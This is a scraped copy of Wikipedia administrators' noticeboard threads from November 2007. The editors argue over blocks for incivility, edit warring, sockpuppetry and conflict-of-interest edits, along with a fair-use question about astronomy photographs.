The ball had already been picked up at Misplaced Pages:Wikiquette alerts by one of the regulars here Bfigura, who had already said that he was going to look into it. Rlevse's actions totally disrupted that, and stepped on territory that had already been claimed, and that was supposedly in the process of being worked out.

I am at a total loss as to why Rlevse might have done this. The only possible explanation that offers itself to me is that it was deliberately designed to give User:Greg L an upper hand in that WQA dispute. Why, I couldn't even guess.

That this process's integrity was in fact the primary target of User:Rlevse's attack is also evident from his posting of his notice about blocking me there (still his only participation there, ever) seven minutes before he even posted a notice to me about it on my talk page, as well as from the fact that he had not done the same at Misplaced Pages talk:Call a spade a spade, nor had he done so at User talk:ArielGold. It is further evidenced by his placement of your notice on my talk page under the existing User talk:Gene Nygaard#Wikiquette alert header halfway up my page, not in a new notice at the bottom (and he didn't add the subheader, I did that later). There's no disguising of the fact that the additional charges laid were intended as nothing other than a strategem or ploy, likely intended to create an appearance of fairness in an unwarranted 72-hour long block.

The other undiscussed, unproved issues thrown in by Rlevse were, based on all the evidence, clearly a red herring. The fact that a couple of hounds were diverted and chased after the false scent merely shows that such ploys sometimes works. If anyone wants to discuss the side issues separately, that's fine--but they don't belong in this discussion.

Worst of all, Rlevse is a rude, inconsiderate person who never once discussed any of this with me--not before blocking me, not after blocking me, not at any time. But that, too, is a side issue here. Gene Nygaard 14:46, 2 November 2007 (UTC)

By calling Rlevse rude and inconsiderate you are continuing the incivility that has led to several blocks on your account. I also believe you are misreading one statement that Rlevse made and attempting to use that to lawyer your way out of a completely appropriate block. Your unblock request was denied more than once.

It should be clear to you that personal attacks and incivility are not acceptable behaviors while editing Misplaced Pages. Stop it and you won't get blocked. Shell 15:13, 2 November 2007 (UTC)

After having a look at the situtation, I fully endorse Rlevse's block. пﮟოьεԻ 57 15:17, 2 November 2007 (UTC)

The block was entirely justified, but ideally would have been longer. Tim Vickers 16:53, 2 November 2007 (UTC)

• I think the tone of this report and the prior block log indicate that Gene Nygaard has completely failed to learn anything from his past travails. His response to being blocked for being rude and aggressive was to come here and be rude and aggressive. Sorry, not good enough. He can have another week off. Guy (Help!) 17:16, 2 November 2007 (UTC)

  A week long block for the post above? That seems excessive to me. Haukur 17:29, 2 November 2007 (UTC)

Have a look at his block log, this is a long-term problem. Tim Vickers 17:53, 2 November 2007 (UTC)

I realize he's grumpy (I've been fighting with him for years) - I just don't see a justification in our blocking policy for a week long block at this point. Being apparently in the minority here I won't unblock, though. Haukur 18:09, 2 November 2007 (UTC)

As a side point and please correct me if I'm wrong, the description of Misplaced Pages:Wikiquette alerts as "non-binding" means that any agreements made on that page are voluntary on the part of all concerned. It does not mean that participants are given any kind of "immunity" from repercussions for their conduct. Sheffield Steel_stalk 19:39, 2 November 2007 (UTC)

For those considering if this block is justified, may I offer the following:

These are all edits asking Gene to be more civil. Almost all just from the last month(!)

To Gene:

• "your needless confrontative comment was quite unneccessary"
• I do not want to continue this discussion as it is clear you want to attack me personally, and I have no interest in that
• I'm afraid you have depleted my patience towards your conflicts, accusations and, above all, your unmannerly language
• Hint: Misplaced Pages is a cooperative effort, and your language has a flavor of ordering me to change it to make you happy.
• I sincerely hope that your interactions with other editors are more civil. If you're going to go around biting people, damn well make sure you're doing it for the right reasons.
• First off, I suggest you back off for a second and watch your tone
• "I'm going to be honest and say that to come here, dump a huge table like this with criticism of someone whose background you are unfamiliar with, is not only a bit harsh, but is not likely to be reacted to well. I see you've done the similar thing to other editors, using comments like "If you don't know how to use the precision parameter, don't do it. Leave it to someone smarter than you are." And your comment here to me: "someone else is most likely a whole lot more competent at making them than you are. ", which is false, I have to say, I find that kind of comment unhelpful, bordering on rude. While I'm doing my very best to not react to your comments negatively, I'm going to just say that I would have appreciated a helpful note that explained your concerns nicely, and offering assistance, rather than filling my talk page with a table like this."
• "Please Gene, try talking with people without attacking them and without constantly using a snide tone. That would avoid a lot of trouble."
• "Calling people an ass, or dumb, is certainly "inconsistent with a civil, collegial atmosphere", and thus blockable."
• Please do not assume bad faith. I note that your theory about my supposed hidden motives is directly contradicted by (8b), and decline to argue further about what I want or do not want
• No it isn't. That's an absurd and uncivil claim. The fact that someone uses a non-English letter and doesn't know about sort keys is hardly conclusive evidence that they have "no respect for the English language". That's a ridiculous and unhelpful conclusion to jump to.

These from a little further back may also be of interest - from AN/I reports and RFC/U

• "Gene Nygaard is frequently uncivil, and engages in edit wars to impose his own personal style preference on scientific articles."
• "The only relevant question here is, are the actions of this editor disrupting the encyclopedia, and if so, what should be done about it? The answers seem clear to me, they are disruptive, and if he will not agree to stop doing them until consensus is clear, and then agree to abide by consensus whether he agrees or not (these are our norms, after all), he should be blocked." (Lar)
• "Do you need to be blocked to understand who is being disruptive?" - Kusma resulting in article move ban
• - "There have been RfCs in the past about Gene doing his thing on these sorts of cat sorting and formatting, patterning issues before." Blnguyen
• - "Let's get something straight Gene - you have a long history of rudeness, boorish behavior and personal attacking. No admin will need hesitate in blocking you if this pattern of behavior continues unabated." - Rama's arrow
• "Gene, please knock it off. You're skating along the ragged edge of wikilawyering and violation of the probation." - Georgewilliamherbert
• "I would definitely endorse a week-long block over this. Gene Nygaard just refuses to understand anything about civility." Rama's arrow

I don't think much comment is needed, other than to point out the sheer number of different editors quoted here.

Mondegreen 19:48, 2 November 2007 (UTC)

Gene has strong and self-righteous views on many subjects. So do many Wikipedians. His topics, including the exact meaning of SI, are more arcane than some (and, for what it's worth I often disagree with him). But a week's block is destructive to a useful editor. Please reconsider. Septentrionalis PMAnderson 20:00, 2 November 2007 (UTC)

Agree with Septentrionalis and Haukur. Gene's manner has never bothered me, even when I was on the receiving end. But the community as a whole has to set these standards of behavior and enforce them. I hope Gene can be a little more polite, and his fellow editors a little more accommodating. As for the seven day block - Gene can make it vanish per Guy's suggestion, if he so chooses. --Duk 23:24, 2 November 2007 (UTC)

Endorse block. I agree with those above stating that Gene is a prolific contributor, but I'm not sure that's a valid reason to encourage a long pattern of discourteous behavior (WP:CIVIL is a policy, not a suggestion). Hopefully Gene will be back to editing soon as a more civil contributor (as Duk mentions above, Gene can get this lifted early if he wishes). --Bfigura 04:21, 3 November 2007 (UTC)

About time WP:CIVIL grew teeth. "I contribute article material!" is not an excuse for extreme and repeated incivility, period. Plenty of people manage to do that without attacking and insulting others, so no one should get a free pass on those grounds. Seraphimblade 16:16, 3 November 2007 (UTC)

I want to endorse this block as per all of the above. Greg Jones II 16:22, 3 November 2007 (UTC)

Need A User Banned

I request a ban of User:Russellmba, at very least from the article Northport, New York. Russellmba's edits have been bias, disruptive, vandal-istic, completely ignores messages and warnings, and constantly undoes reverts of his disruptive edits. Russellmba was clearly using several different anonymous IP addresses until User:Addhoc helped out with by semi-protecting the article to avoid his hiding behind IP addresses. Unfortunately that semi-protecting of the article has not stopped the problem.

Russellmba (and what is clearly his anonymous IP edits) has made 51 edits to Northport, New York in the past 2 weeks, completely ignoring explained reverts and discussions telling him to stop 8 times. More recently, he keeps trying to add the name of a real estate housing development to the article. Despite constant reverts, this morning Russellmba added "Northport Bay Estates" (which is in no way important, but it happens be where he lives) to the article for the 12th time. This editor refuses to listen to others, abide by rules, remain unbias, and a host of other disruptive traits. Please BAN this user from editing Northport, New York. Thank you --Fife Club 15:17, 2 November 2007 (UTC)

P.S. Look here! I just found that he's added his name as vanity spam to Schiller International University. (apparently his name is Don Russell) using one of the same anonymous IP addresses he's used on the Northport article. This guy clearly edits without good intentions, so please do everybody a favor and just ban him from all of wikipedia.

Rethink (not a support or oppose) - even vandals are not usually banned. This editor has not vandalised. If a block or ban is made, a short block of 24-48 hours is more appropriate than banning because the editor can learn. Even shoplifters are not executed but fined or jailed for a short time.

I only examined the user's last Northport edit and it is here . This edit looks reasonable IF Northport Bay Estates is the main development in the area. (I don't know if it is or not). I know it is popular to be anti-editor on ANI and jump on the bandwagon but, based on this edit, there's no reason for banning. If banning is sought as a result of 51 disagreeable edits in 2 weeks, then using this as a standard for all editors is appropriate.Miesbu 16:10, 2 November 2007 (UTC)

The last edit doesn't seem like much at all but this was the 12th time that he's added the name of the housing development where he lives into the article, after being warned 8 times. This is merely the latest in a long 51-edit consistent pattern of totally bias edits. This last one isn't at all a big deal alone, but it's yet another discussion/warning that he just keeps ignoring. Should we even have rules?

Otherwise I understand about not banning permanently but this is just ridiculous. And now somebody else is erasing content without explaining the reasons, so maybe somebody can freeze that whole article for a whole week or something. —Preceding unsigned comment added by Fife Club (talk • contribs) 19:50, 2 November 2007 (UTC)

• I'm not anti-editor, but I am anti vanity spammer. This is blatant WP:COI editing, and needs more careful investigation. Guy (Help!) 17:21, 2 November 2007 (UTC)

• The user constantly revert wars, but doesn't use edit summaries or talk pages to discuss the problem. In this context, I've indefinitely blocked the account - if another admin wants to unblock that's ok - I won't reblock. Addhoc 20:04, 2 November 2007 (UTC)

User:YoSoyGuapo

User YoSoyGuapo has been stalking me to make edits on an article that I edited previously. On the article King's Daughters‎ (an article about French Canadian pioneer women), he googled the words "kings daughters protstitutes" to come up with a story in modern-day Namibia where a group of prostitutes coincidentally use the name "King's Daughters" for themselves. There is no indication that there is any relation between the Canadian pioneers and the African prostitutes, but he is adding it in anyway. This is not the first time he has done this to me, and I will point out that he has already been blocked indefinitely.

In early September, while YoSoyGuapo was still blocked and requesting reinstatement, he was starting an edit war (using the ID 64.131.205.111) on the Josh Gibson article; he insisted that anecdotal information about Gibson’s home run total (“almost 800”, an unverifiable number bandied about since the 1950s) was much more reliable than the data gathered under the auspices of the Baseball Hall of Fame and published in the book ‘’Shades of Glory’’ by Lawrence Hogan . He resorted to personal attacks against people (accusing me of deliberately “downplaying the achievements of minorities”) and POV arguments, shifting his rationale all along.

Then there was vandalism by an anonymous editor to the talk page of Daughters of the King. The user kept making ethnically insensitive remarks about French Canadian women, dredging up an old discredited legend that the Daughters were prostitutes and referring to them as “fwench” to add to the insult. The remarks were deleted, but a section was added to the article to address the old legend and its refutation.

After Admin User:Wknight94 issued a warning to the anonymous editor that he would be blocked if he continued to troll the talk page, YoSoyGuapo (using his other user id of 64.131.205.111) inserted a comment that the deleted comments were “interesting”. He had followed me to this page in order to take a contrary position. He had no reason to edit the page except to harass me. After further argument on our respective talk pages, he backed off from his comment and offered a couple of links he had googled (at least one of which was already listed in the article’s reference section, thought that was only after having already gone a bit too far initially.

After considerable argument on the Josh Gibson discussion page, a consensus was built that Gibson’s officially recognized stats would be prominently featured, with the anecdotal information would also be mentioned as part of his legend, though with caveats that it could not be verified in any way, either in career totals or season by season breakdowns.

YoSoyGuapo, who had been part of this discussion, created a new infobox (something he had offered to do, and had been agreed to) along with other edits, asking all to “fix and update” the new infobox. He had some erroneous information, some incomplete information, some oddly formatted information, and he had unilaterally gone ahead and place the anecdotal information as primary. I edited the infobox (as per his invitation), correcting (among other things) in good faith, and he reverted nearly every edit without explanation.

He then followed me over to the Daughters of the King article again, and started inserting the aforementioned irrelevancies. I beliebe that he did this just to stalk and harass me.

In an unrelated move, I cleared off my talk page (it had not been updated for some months, and I decided to clean it off), and he inserted a “final warning” that I could be blocked for removing edits from my talk page (he had left some a month or so ago). Again, he is stalking and harassing me.

He has been blocked indefinitely before because of his disruptive actions. I believe that he has not learned the lesson from that block, and am asking that action be taken on him again (in both his IDs) for repeat violations.

-- Couillaud 15:20, 2 November 2007 (UTC)

• Earlier today, Couillaud was reported to WP:AIV by User:YoSoyGuapo. I removed the report, advising that the editors should consider dispute resolution. At that time, both editors were toeing the line of 3RR at Talk:King's Daughters‎. Caknuck 16:04, 2 November 2007 (UTC)
  • YoSoyGuapo (talk · contribs) was unblocked by Tony the Marine with a stipulation that he refrain from edit wars like this. I am going to ask for Tony's participation here. —Wknight94 (talk) 16:16, 2 November 2007 (UTC)

Coullaud actually violated the 3rr and was reported. I did not. He was also given a warning for it. He has also stalked me going thru my former accounts in order to find out about me. YoSoyGuapo 20:26, 2 November 2007 (UTC)

YoSoyGuapo is now re-defining the term "stalking". I looked up his earlier edits to learn that his pattern of abuse has not changed. To do that is not stalking. YoSoyGuapo follows my current edits and then makes contrary edits afterward, or links to them at the time. That is stalking. When I started this complaint, I mentioned to WKnight94 that it would be YoSoyGuapo's pattern to try to turn the complaint around and claim to be the injured party, and sure enough, he's doing it now. It has also been his pattern to re-define the terms of the discussion to his own benefit (he kept accusing other editors during the Josh Gibson discussion of "original research" but wouldn't explain how it could be so; in the end, an Admin agreed he was wrong. I would like him now to explain how he considers my having looked up his earlier edits (some of which helped get him blocked) to be "stalking". -- Couillaud 22:08, 2 November 2007 (UTC)

The user in question, Yo Soy "Guapo", has been nothing but contentious. First there is his insistence on having his way with the Josh Gibson page, which is based on his (uncited and unreferenced) view of the way things supposedly were in Negro Leagues baseball. But even if his skewed editorial stance on the facts were true, his inadequacies with English and with structure have pretty well trashed the Josh Gibson page. He has messed up the article and likely won't let anyone change it. His continual insistence on having his way, in defiance of discussion - of continuing to restate the same points over and over again, while refusing to address the questions we raise - are classic trolling behavior. Trolls don't care about the facts, they don't even care about the subject in particular, they're just there to foment arguments. And his threats to turn someone in for clearing his own talk page have no basis except either mere ignorance or overt harassment. There is no such rule, much less any authority on his part to enforce such a rule. Baseball Bugs 18:23, 2 November 2007 (UTC)

Please see below. Also Baseball Bugs the talk page reversions were not concerning Couillaud talk page but the Kings Daughter talk page YoSoyGuapo 19:46, 2 November 2007 (UTC)

YoSoyGuapo: Baseball Bugs was referring to your troll of my talk page, when you told me that I couldn't clear my own page, and you were issuing me a "final" warning. You do remember that one, don't you? That is the one he was discussing. You are simply trying to misdirect the discussion. I am complaining about your trolls to King's Daughters and to my own talk page, NOT your 3RR complaint. -- Couillaud 22:08, 2 November 2007 (UTC)

As Couilland indicates above, YoSoyGuapo did, in fact, seem to "warn" Couillaud not to clear his own talk page, as noted here and here . It's a bit ambiguous since it came right after Couillaud had, in fact, cleared his own talk page. YoSoyNoTanGuapo did not make clear what he was talking about. Baseball Bugs 22:51, 2 November 2007 (UTC)

• User:Wknight94, Thank you for alerting me to the situation. You are right, I did give User:YoSoyGuapo on the condition that he acted in civil manner. I have looked into this outrageous situation as you have recommended in my talk page. I will therefore proceed to comment.

1. User:Couillaud is a valued editor whose knowledge and contributions are well appreciated in Misplaced Pages. I can understand your frustration in the Josh Gibson issue and I can also understand that User:YoSoyGuapo, wanted to post that Gibson possibly had 800+ homers. The problem here was that you, YoSoyGuapo pushed your observations resulting in revert war which should have been settled instead in the articles talk page. You both should have agreed to simple consensus and I'm sure that you both would have found an agreeable solution. That should have been the end of it. Instead this was the beginning of a war between both of you.

2. User:YoSoyGuapo, I told you when we made the agreement that you should no longer edit under the IP: User:64.131.205.111. However, I see that you have done so in various occasions, especially to the article King's Daughters. This not only can be considered trolling, but not only are you in violation of our agreement but, you maybe be accused of sockpuppteering which is against our policy. I can understand that at times a person may forget to sign in. It has happened to me, but if you use this IP address you will be blocked.

3. User:YoSoyGuapo, User:Couillaud was right in the fact that you should not have inserted the "Namibia" section into the "King's Daughters" since it had nothing to do with the main subject of the article. It could have gone into a "See also" section. However, User:Couillaud I can understand YoSoyGuapo's anger at you taunting his "English" which was out of place.

4. YoSoyGuapo, you cannot warn anyone about clearing thier "talk page". Users are allowed to clear their user pages and your "warning" without authority seems to me a hostile act on your part.

5. YoSoyGuapo, what did I ask you in our agreement? I asked you that you should avoid wars and whenever a situation came up that you should ask for a mediator for a solution. Neither of you did this which has resulted in this senseless war.

I'm going to suggest that both of you put an end to this nonsense. End it right now. YoSoyGuapo lay off the "King's Daughters" article because it seems as if you are stalking Couillaud as a result of the "Josh Gibson" incident and go about editing in other areas where your knowledge is well appreciated. Do not indulge in reverting wars and look for mediation whenever a situation comes up instead of this back and forth arguing which ends up in a hostile situation.

The same goes for you Couillaud, plus refrain yourself from making comments which may offend other users, even if it is done in a third party's talk page. This said, I want you to know that I appreciate your baseball contributions in Misplaced Pages and that you should not leave. I have been tempted myself many times, but I have overcome worst situations. Tony the Marine 05:55, 3 November 2007 (UTC)

Couillaud (talk · contribs · deleted contribs · logs · filter log · block user · block log)

Ok first of all, Couillaud please notify them that I am not the individual who is trolling the King's Daughters Page. You and I both know that isn't me. I commented that the it was humorous in an off brand humor sense. I though am not the person who was trolling the page placing in information. You're grouping me with that person. Secondly you have a personal interest in the King's Daughter because you stated that you are a descendent of the King's Daughters. http://en.wikipedia.org/search/?title=User_talk:Wknight94&diff=prev&oldid=168670754 Thirdly you kept deleting the talk page so that it states what you liked it to state. . You did it over 3 times of which I filed a 3rr report . I also filed a W:AI/V report

Personal Attacks

Baseball Bugs and Couillaud have both tried to bate me with personal attacks calling me "Googleman" stating that I learned English last week Stating that I am trolling stating that they are going to do something for which I said they should and then giving a sarcastic response and commenting on my spelling . From going thru my history Coulliard could tell that I am hispanic (especially due to my usage of terms like Hermano and my Username of YoSoyGuapo) he has made comments mocking my heritage stating wikipedia may not have the "cojones" to fix this.

Baseballbugs and Coulliard stated that I haven't been trying to do compromise or tried to show that I won't let others change it, but I've

(1) invited others to participate (2) filed an RFC (3) invited others to participate in the conversation and make additions.

I also made a new compromise by creating 2 sections that show the different statistics.

At this point I simply going to ask any administator to look at the stats that Couliard and Baseball Bugs are challenging . They say it's incorrect but there are over 30 sources provided which support this while they provide 2 sources to provide their point of view. You know I didn't argue. I filed an RFC asked for comments. Placed in a avalanche of sources. I tried to compromise by placing in both the disputed informations on the article. If you look below you can see the sources that I used for support that he had 800 to 952 homeruns rather than the 165 that they (Coulliard and Baseball bugs)stated he had. Feel free to comment on the whether or not he had 800 - 952 homerun or 162.

http://espn.go.com/sportscentury/features/00016050.html
http://espn.go.com/sportscentury/features/00016050.html
http://www.baseballlibrary.com/ballplayers/player.php?name=Josh_Gibson_1911
http://www.toad.net/~andrews/josh.html
http://www.nlbpa.com/gibson__josh.html
http://www.pittsburghlive.com/x/pittsburghtrib/search/s_458633.html
http://www.britannica.com/eb/topic-233289/Josh-Gibson
http://www.psacard.com/articles/article4210.chtml
http://www.post-gazette.com/pg/06192/701548-341.stm
http://z.lee28.tripod.com/sbnslegends/id1.html
http://www.blackbaseball.com/players/joshgibson.htm
http://library.thinkquest.org/3427/data/gibson.htm
http://espn.go.com/sportscentury/features/00016050.html
http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2006/05/05/SPGQNIL8UR1.DTL
http://www.coe.ksu.edu/nlbemuseum/history/players/gibsonj.html
http://www.nlbpa.com/8feb2003.html
http://www.nlbpa.com/5march2003.html
http://www.nlbpa.com/31oct2002.html
http://entertainment.howstuffworks.com/josh-gibson-hof.htm
http://www.mlb.com/mlb/history/mlb_negro_leagues_profile.jsp?player=gibson_josh
http://mlb.mlb.com/news/article.jsp?ymd=20070802&content_id=2125626&vkey=news_mlb&fext=.jsp&c_id=mlb
http://www.baseballhalloffame.org/hofers/detail.jsp?playerId=492568
http://www.explorepahistory.com/hmarker.php?markerId=20
http://www.amazon.com/Josh-Gibson-Life-Negro-Leagues/dp/1566632951/ref=dp_return_1/104-0249862-2980752?ie=UTF8&n=283155&s=books
http://www.aaregistry.com/african_american_history/1346/Josh_Gibson_one_of_baseballs_greatest_hitters
http://encarta.msn.com/encyclopedia_761582302/Josh_Gibson.html
http://www.baseballhistorian.com/html/american_heroes.cfm?page=30
"In 1933, while playing for the Pittsburgh Crawfords, Josh Gibson batted 512 times, hit 55 homers and drove home an awesome 239 runs. " www.negro-league.columbus.oh.us/gibson.htm
http://www.east-buc.k12.ia.us/99_00/BH/jg/jg_bio.htm
http://blackathlete.net/artman2/publish/Baseball_20/Past_Meets_Present_Washington_Unveils_The_Josh_Gibson_Exhibit.shtml
http://www.post-gazette.com/pg/06192/701548-341.stm
http://sports.jrank.org/pages/1649/Gibson-Josh.html
http://www.tradingcardcentral.com/news/2005/06/16_001.php
http://www.encyclopedia.com/doc/1E1-GibsonJosh.html
http://www.blackpast.org/?q=aah/gibson-joshua-josh-1911-1947
http://www.ironcladauthentics.com/baseball/joshgibson/index.asp
http://z.lee28.tripod.com/sbnslegends/id1.html
http://www.geocities.com/Heartland/4547/gibson.html

http://www.pittsburghlive.com/x/pittsburghtrib/news/breaking/s_513337.html
http://www.geocities.com/colosseum/arena/5866/gibson.html
http://www.psacard.com/articles/article_view.chtml?artid=4596&universeid=314
http://espn.go.com/page2/s/closer/020301.html
http://www.baseballhalloffame.org/hofers/detail.jsp?playerId=492568 If you go to the baseball hall of fame website and cilck on career stats you'll see that "Official major league statistics verified by Elias Sports Bureau" not SABR http://www.riverdeep.net/current/2002/02/022502_negroleagues.jhtml
http://aol.bartleby.com/65/gi/GibsonJosh.html
http://aol.bartleby.com/65/gi/GibsonJosh.html An opinion http://www.baseballthinkfactory.org/files/newsstand/discussion/basn_they_stand_alone/
http://www.blackathlete.net/artman2/publish/BASN_BLACKBOX_54/They_Stand_Alone_Josh_Gibson_Hank_Aaron.shtml
http://www.helium.com/tm/339282/there-arguments-greatest-baseball

YoSoyGuapo 19:13, 2 November 2007 (UTC)

For clarification I have it written on my Userpage my alternative ID of Template:64.131.205.111 . The people who were trolling the King's Daughter talk page are YoSoyGuapo 00:25, 3 November 2007 (UTC)

After a rant like that, I should just say "I rest my case" and leave it here, but that would leave some necessary things unspoken.

• First, YoSoyGuapo is indeed the individual I spoke of, in this ID and his alternate ID of 64.131.205.111. His comments have been directly related to arguments we have had on the Josh Gibson article, when he has followed my edits to the King's Daughters article, just trying to keep alive a troll discussion for no reason but to hassle me. This is the second time he has done so. His original comment was that the Talk page history was "interesting"; the talk page up to that point had consisted of an anonymous racist troll. The comments would be put in (no documentation or verifiability, inflamatory language), would be deleted, the anonymous troll would insert it back, claiming "censorship", would be deleted, would repeat his action, etc., until WKnight94 warned that he would block the entire range if the troll continued. That is what YoSoyGuapo found amusing. He did not comment on the article itself at all.

• Second, YoSoyGuapo considers it a "personal attack" that I suggested that his handle would more appropriately be "Googleman". Directly above this post is a list of some 43 links that YSG googled; many of them go to exactly the same web site, and most of them all use the same source, which is to say they consist of no real research, and simply repeat the same mistake over and over again; also, he has no idea how to format these links (or doesn't care), and made it unnecessarily difficult for anyone to read. As for my criticism of his spelling, he can't spell my user name, nor the name of the country he kept putting an irrelevant link to in the "King's Daughters" article; if you're going to quote a story about Namibia, you should make an effort to spell it correctly. He is poor at spelling and grammar, and will not take help from anyone on that problem. As for my use of the word cojones, that's a term I've had in my vocabulary for over 30 years (and used it as a euphemism for "balls"), and I had no idea what his ethnicity is. Since he thinks that I'm being too officious about my Québecois heritage, he seems to be really stretching to find a way to be ethnically insulted. Give me a break, please.

• Third, while YSG DID "invite" others to comment on his changes and to "fix and update" the info box he created, his offers were not sincere. He immediately fought every change suggested, using a shifting logic to try to justify his assertions. He reverted my most recent edits (all made in good faith) without any comment, and then started stalking me on another article I was editing. Guess which one? King's Daughters. He will offer to compromise, but refuses to do so when actually pressed, and his best offer was to write two separate articles on Josh Gibson, one with the statistics currently recognized by the Hall, and his own with indefinite and unverifiable numbers that he feels are more "fair". He is NOT a very good editor (poor grammar and spelling), and calling him that is NOT a personal attack. Saying that YoSoyGuapo is bad at spelling and grammar is like saying that Elvis is a dead rock'n'roller.

• Fourth, when the latest flap on King's Daughters came up, it did so in almost exactly the same way as before, when YoSoyGuapo and I clashed on edits to a Josh Gibson article. The difference this time is, after following me to this article again, he googled an online news story about Namibian prostitutes who call themselves "king's daughters", though there is absolutely no relation to the French Canadian article, and tried to insert it into the discussion and the article itself. I deleted it as I had the anonymous troll before, and for the same reason: it is irrelevant to the merits of the article, and is inappropriate, having been set there only to troll for responses.

• Fifth, YSG is a prior offender, having already been blocked indefinitely for sockpuppetry and having made personal attacks, and through all his self-defense, he has yet to address that issue. The truth is that he had already initiated the edit war on Josh Gibson (which contained personal attacks on his part) as 64.131.205.111 while applying to have the block on his YoSoyGuapo ID lifted. It seems to me that he failed to learn any lessons from his experience, except how to change the subject.

• Sixth, besides his unwarrented reverts on Josh Gibson and his trolling on King's Daughters, he also trolled my own talk page. I don't keep my talk page indefinitely, and don't even bother to archive. I just clear it every now and again. I did so just recently (in an unrelated move), and he put a "final warning" on my talk page. He was again following my edits (or stalking me) in order to find and react to this one.

• He now says his comments were jokes. If he's trying to be funny, he's failing to do so miserably. I do not believe it's a joke. I believe from his previous patterns that this is his way of attacking people with whom he disagrees. I have a complaint in against him at this moment.

• 3RR? I have left the page alone, though I still maintain that there is no discussion on that talk page related to the merits of the article, which is why the page was cleared earlier with the permission and help of Admin WKnight94; I fail to see how ANYTHING YoSoyGuapo has added to that page is anything but a troll. He doesn't know the subject; he doesn't know the article that he googled and added to the main article. I felt justified in removing it as vandalism simply because it was exactly the same kind of crap we had gotten from the anonymous troll before, the only exception being that the anonymous troll never used Google.

-- Couillaud 21:43, 2 November 2007 (UTC)

All I'm going to say is look at all of the personal attacks that were directed toward me in the above. I'm not going to even reply to them. I'm simply going to also note his attack on me again. http://en.wikipedia.org/search/?title=User_talk:Wknight94&diff=168818390&oldid=168799966 "he still can't spell either my name or the country "Namibia". -- Couillaud 21:55, 2 November 2007 (UTC)" and right now with " YoSoyGuapo is bad at spelling and grammar is like saying that Elvis is a dead rock'n'roller." I'm right now disillusioned with all the attacks. It is really really personal. I'm going to go on a wikibreak until the new years.. YoSoyGuapo 00:25, 3 November 2007 (UTC)

All those cites of sites that YoNoGuapo posts, as he did previously, are somehow supposed to "prove" his contention for the numbers. That's not really the issue. It's that he won't answer reasonable questions about why those numbers have any validity vs. actual research that's been done. It's an endless loop on his part, and is classic trolling behavior. Baseball Bugs 22:57, 2 November 2007 (UTC)

• User:Wknight94, Thank you for alerting me to the situation. You are right, I did give User:YoSoyGuapo on the condition that he acted in civil manner. I have looked into this outrageous situation as you have recommended in my talk page. I will therefore proceed to comment.

1. User:Couillaud is a valued editor whose knowledge and contributions are well appreciated in Misplaced Pages. I can understand your frustration in the Josh Gibson issue and I can also understand that User:YoSoyGuapo, wanted to post that Gibson possibly had 800+ homers. The problem here was that you, YoSoyGuapo pushed your observations resulting in revert war which should have been settled instead in the articles talk page. You both should have agreed to simple consensus and I'm sure that you both would have found an agreeable solution. That should have been the end of it. Instead this was the beginning of a war between both of you.

2. User:YoSoyGuapo, I told you when we made the agreement that you should no longer edit under the IP: User:64.131.205.111. However, I see that you have done so in various occasions, especially to the article King's Daughters. This not only can be considered trolling, but not only are you in violation of our agreement but, you maybe be accused of sockpuppteering which is against our policy. I can understand that at times a person may forget to sign in. It has happened to me, but if you use this IP address you will be blocked.

3. User:YoSoyGuapo, User:Couillaud was right in the fact that you should not have inserted the "Namibia" section into the "King's Daughters" since it had nothing to do with the main subject of the article. It could have gone into a "See also" section. However, User:Couillaud I can understand YoSoyGuapo's anger at you taunting his "English" which was out of place.

4. YoSoyGuapo, you cannot warn anyone about clearing thier "talk page". Users are allowed to clear their user pages and your "warning" without authority seems to me a hostile act on your part.

5. YoSoyGuapo, what did I ask you in our agreement? I asked you that you should avoid wars and whenever a situation came up that you should ask for a mediator for a solution. Neither of you did this which has resulted in this senseless war.

I'm going to suggest that both of you put an end to this nonsense. End it right now. YoSoyGuapo lay off the "King's Daughters" article because it seems as if you are stalking Couillaud as a result of the "Josh Gibson" incident and go about editing in other areas where your knowledge is well appreciated. Do not indulge in reverting wars and look for mediation whenever a situation comes up instead of this back and forth arguing which ends up in a hostile situation.

The same goes for you Couillaud, plus refrain yourself from making comments which may offend other users, even if it is done in a third party's talk page. This said, I want you to know that I appreciate your baseball contributions in Misplaced Pages and that you should not leave. I have been tempted myself many times, but I have overcome worst situations. Tony the Marine 05:57, 3 November 2007 (UTC)

Fair use on Astronomy photographs

Would someone who is more up to speed on our image use policies than I am take a look at User talk:Apcgurutech for me. He has uploaded a couple of photographs by an astronomer who is now deceased so we cannot obtain permission. I'm pretty sure we can use them under fair use, the photographs are unique in that they apparently show an unexplained object, and it is discussed in the article but the thw only photographs I ever upload are my own so I'm rubbish at writing rationals. Theresa Knott | The otter sank 15:57, 2 November 2007 (UTC)

The astronomer being dead complicates our asking for permission, but doesn't make it impossible. Someone still owns the photos - either the astronomer's institution or the beneficiaries of his estate (who could, I guess, be contacted by writing to his institution). -- Finlay McWalter | Talk 16:23, 2 November 2007 (UTC)

If we are talking about the photos then we don't need to request permission. Just make sure the images are "web-resolution" and the fair-use rationals are all filled out. ---J.S (T/C/WRE) 16:27, 3 November 2007 (UTC)

User:DemolitionMan, unrepentent edit-warrior

I have recently blocked DemolitionMan (talk · contribs · deleted contribs · nuke contribs · logs · filter log · block user · block log) for 1 week for persistent violation of WP:3RR, disruptive editing, and confirmed (checkuser) sock-puppetry. Despite the escalating blocks, he appears adamant to resume his attempts to insert pro-Indian POV into Indian Rebellion of 1857. I strongly suspect he has attempted to evade his block using User:203.123.144.131 as a sock. In this latest post, he openly boasts that he will be adamant about defending his POV, continues his personal attacks against User:Hserus, and apparently indicates that his previous attempt to engage in mediation was made in bad-faith (e.g. bring on another mediator, IMHO, demonstrates fecklessness w.r.t. mediation). I'm not seeing much hope at reforming this user and am considering an indef block until we see some positive indicators. He has accused me of bias in this case so I'd like another admin opinion on what do to here. Thanks. Ronnotel 17:28, 2 November 2007 (UTC)

FWIW, I read his latest comment more closely and realized I had missed a blatantly offensive epithet directed at two users. Indef block. Ronnotel 17:50, 2 November 2007 (UTC)

• Endorse block. Sadly I do not see in DemolitionMan an editor able to engage properly with others. Sam Blacketer 17:59, 2 November 2007 (UTC)

  Informal mediation was attempted and he was openly rude to the mediator, so I think an indef block is the right decision. However, his case is currently being applied to ArbCom (WP:Arb#Indian Rebellion of 1857) , so you could consider advising the committee of his block. Addhoc 19:47, 2 November 2007 (UTC)

  Thanks for the heads up. I have so advised. Ronnotel 20:01, 2 November 2007 (UTC)

  Yeah, endorse. Was openly rude to me and the other people in the case--Phoenix-wiki (talk · contribs) 22:23, 2 November 2007 (UTC)

Taner Akcam

